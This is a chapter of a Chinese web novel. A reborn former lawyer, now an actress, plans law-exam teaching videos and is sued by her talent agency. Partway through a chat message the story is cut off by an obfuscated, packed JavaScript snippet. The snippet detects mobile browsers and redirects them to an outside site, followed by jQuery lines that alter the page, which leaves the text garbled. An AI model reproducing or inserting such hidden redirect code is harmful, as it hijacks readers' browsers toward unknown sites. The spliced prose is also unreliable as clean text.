“你说陆泽他要公司告你？”许舒华语气里明显轻快了不少，甚至带着些兴奋。
“嗯，他亲口说的。”沈知意应下她的话。
“如果是咱们提起解约的话，公司势必会拖着不闻不问，但要是陆泽提起的那可就不同了。”
“晚晚，你这次去到底干了什么？”许舒华终究还是耐不住好奇。
沈知意语气很淡：“没什么，就是往他脸上泼了杯红酒，顺便搅黄了新合作。”
许舒华看着沈知意云淡风起的模样，没忍住笑起来，这几天攒下来愁郁气散得一干二净。
她的手微微弯起托着侧脸，说：“有录像吗，让我也开开眼界？”
“临时起意，哪还顾得上录像？”
沈知意捧着杯咖啡靠在许舒华的办公桌沿上，慢悠悠地说。
许舒华十分后悔：“要是我早知道你是去砸场子的，怎么着也得找个摄影师跟着你一块去。”
“那不就露馅了，陆泽看我这一副要拍剧的架势，再想近身可就难了。”
酒局的事暂时告一段落，陆泽最近几天明面上没在使什么阴招，可海面越是风平浪静，面对海底隐藏的暗流就越该提起警惕。
沈知意这段时间闲得无聊，又把当年学法考的那些东西给找了出来。
她记忆力好，脑子好使反应也快，上学时在学习上没吃过什么苦。
当别人在要记住大堆难啃法条的煎熬和学了法就能考公考编的诱惑中间左右为难时，沈知意只是因为自身兴趣和几乎过目不忘的记忆力就报了法学专业。
当初沈知意靠着一腔对法学的热情把学历卷到博士，顺利取得高级律师职称，最终凭借优秀履历拿到顶尖律所offer，此后身影频繁出现在各大庭审现场。
既然如此，沈知意也不介意再走回生前的老路。
可只是再重学一遍继续考试有什么意思，沈知意琢磨着，重新按部就班地温习以前烂熟的知识，并熬过每个跟法律相关考试的漫长空窗期也是够无聊的。
她的指尖在笔记本手写板上无意识滑动着，直到误触进某个网址，迎面而来的是数不清的学习视频。
小到初高中知识讲解，大到天文地理艺术人文科普。
看着各种知识类视频在眼前流动，沈知意的脑海中闪过一个念头。
她为什么不借用现在自身名气和网络新媒体风气，来弄一些专门帮助法学生准备法考的备考视频？
沈知意兴致来得快，执行能力也说一不二，她立刻从网上下单采购了法考学习资料，并对当前法考政策进行了深入透彻的分析。
林晚本科入学时间刚好卡在法考非法学专业不可考之前，不需要在另外积累三年法律相关工作经验。
这正合沈知意心意，正好她录制完备考视频，还能顺带把试一起考了。
于是宋岚进门看到的就是这样一副场景：沈知意正在尝试把准备好的PPT用投影仪投在客厅空白的墙面上。
沈知意侧头看见宋岚进来，撩了一下自己垂在身前的发丝，直起身来给她展示身上穿的藏青色长裙。
长裙腰线修身刚好把沈知意的身材衬得匀称好看，领口是端庄的小v领，领子下面别着跟裙色一样的月季。
这身衣服成熟端庄，把她身上原本带着的一点稚气完全褪去。
“这身衣服怎么样？”沈知意弯起眼睛，笑意盈盈地瞧她。
宋岚直接看呆了，缓了几秒才冷不丁开口：“晚晚，这还是你吗？”
“不然我是谁？”沈知意也不生气，顺着她的话问。
“我还以为是哪家的仙女下凡啦......”宋岚笑嘻嘻地奉承。
“不过晚晚姐，你今天怎么突然穿得这么正式？”
沈知意扬了扬头，示意她看投影的那面墙。
宋岚顺着她的动作看向墙面，清晰的花体字被投影在上面——法考注意事项。
“......”
宋岚深吸一口冷气，在学校里被考试支配的日子仿佛又回到眼前：“......晚晚姐，你这是打算去参加法考吗？”
“你......是要退圈吗？”
“弃艺从法？”宋岚睁大眼睛，语气全是对自己未来可能丢失的担忧。
她伸手拉住沈知意的胳膊：“晚晚姐，不要意气用事啊，你一定要再好好考虑考虑，咱们好不容易从十八线打拼到现在，虽然被黑了好多年，但......”
沈知意伸出食指摇了摇。
“不，我打算艺法双修。”
“而且不只是修习法律，我还要去帮助大家学习怎么准备司法考试。”
宋岚显然不相信她的说法：“这靠谱吗，晚晚姐。”
“就算你真的有这个打算，万一教不好，到时候咱们又被骂上热搜了怎么办？”
沈知意不怀好意地笑笑。
“这不是有你吗？”
“什么？”
宋岚摸不清沈知意套路，直到她被沈知意按在椅子上，手里被塞进去笔记本和中性笔才后知后觉地感受到中学时代被课堂支配的恐惧。
沈知意清了清嗓子，拾起以前在学校讲座里侃侃而谈的气势，配合着刚做好PPT和网购不到五块钱的黑色教杆直接开讲。
原本以为沈知意会把无聊的法律条文讲得极其枯燥，可与宋岚认知里完全相反的是，沈知意的讲课方式与大学里只会念PPT的讲师完全不同。
她说话看似随意自然，实则没有半句废话，嘴里说出来的每个句子都跟她要讲的知识点有关。再枯燥的条文都能被沈知意用几个简单的例子讲得绘声绘色，让人无法转移注意力。
宋岚就是个活生生的例子，刚才脑子里还想着抗议，手里拿着东西也不老实，现在听得入了神，浑然忘了刚才想做什么。
沈知意笑着问她怎么不记笔记，宋岚才反应过来自己只是充当试听的工具人。
“听课体验怎么样？”沈知意胸有成竹地。
宋岚不得不承认她的水平：“好像确实比当明星有前途......”
“但晚晚姐，你演戏的天赋也比平常人强出很多，这些年当演员当得也不亏。”
得到了肯定答复，沈知意很快又把精力投入在法考备课上，学习资料和演示材料虽然多年没碰了，但再用起来还是信手拈来。
沈知意放在桌上的手机响起好几声消息提示铃。
许舒华：【微博链接】
许舒华：【晚晚，公司法务部已经在准备和你的解约流程了。】
许舒华：【陆泽的动作还真挺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282231|182460||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快，估计是被你气得一天都不想再等了。】
许舒华：【你这段时间好好准备准备，千万别掉以轻心。】
许舒华：【有什么需要随时跟我提。】
沈知意看完，回了个OK的表情。
沈知意点开许舒华发过来的链接。
陆谊传媒的官方微博已经正式对她的解约做出回应。
【陆谊传媒：介于林晚小姐在合约期间，数次违反与我司签约条例。我司将通过法律程序对林晚小姐提起解约，并索赔违约金。】
微博里附带了知名律所的律师函图片。
点开律师函的那一瞬间，沈知意笑了起来。
文件的抬头是沈知意熟悉到不能再熟悉的律所——中闻律师事务所。
“来了。”沈知意漂亮深邃的瞳孔里透出莫名的兴奋。
“什么来了？”宋岚不解地循声望过去。
“咱们教学视频的实战案例教学有着落了。”沈知意的声音里是压不住的雀跃，以及跃跃欲试的激动。
沈知意举起手机，亮起的屏幕里是刚刚律师函的图片，鲜明放大的文字倒映在宋岚的眼睛里。
“晚晚姐，你这是被告了？！”
与沈知意的兴奋不同，宋岚声音里是遮掩不住的惊慌。
“这次是谁告的你？”
“你想知道啊？”沈知意拉长语调故意吊人胃口，仿佛没有察觉出宋岚万分焦灼的心情。
“晚晚姐，都什么时候了你还在开玩笑？”宋岚说，“而且这还是中闻还是国内顶尖的律所，这我们得花多少钱才能请到档次差不多的律师......”
“除了陆谊传媒，现在谁有这个闲心告我？”
沈知意说话轻飘飘的，宋岚没看出她半点在乎的模样。
“而且这有什么好着急的，白白送来的热度，我们当然得收下。”
“空有热度有什么用，但陆谊要是把我们告到净身出户了，这刚洗好的黑名不就又回来了。”宋岚捂着脑袋哀嚎。
“如果我们赢了呢？”沈知意凑到宋岚面前，温柔引导她。
沈知意的容貌原本就有动人心魄的欺骗性，如今近距离地被明艳美貌冲击，神智好像也被蛊惑一般。
可宋岚还保存着几分理智，她犹豫说：“......对面可是顶尖律所。”
“那张律师呢，他难道不是顶尖律所出身吗？”沈知意依旧笑着问她，无形之中给她打了一剂定心针。
沈知意在顶尖律所从业多年，早就掌握了快速摸清各路当事人性情的本事，能够在最短地时间里对症下药，让当事人心甘情愿并且毫无保留地信任、并将案子托付给自己。
“所以晚晚姐，我们还是有机会赢下的？”宋岚这才从焦虑中逐渐脱离出来。
“嗯，不仅会赢，还会让陆谊传媒后悔起诉，甚至......”
“倒贴我们一大笔。”
沈知意势在必得的微笑缓缓安抚宋岚焦灼的心。
也许是她们相处的时间太久，再优越的外表也会因天长日久地注视变得平平无奇，可宋岚却总感觉沈知意在隐隐打破这个常态。
沈知意的漂亮逐渐在她眼中变得生动鲜活起来，不是以往那种温柔细致的美感，而是有攻击性的恣意张扬的艳丽。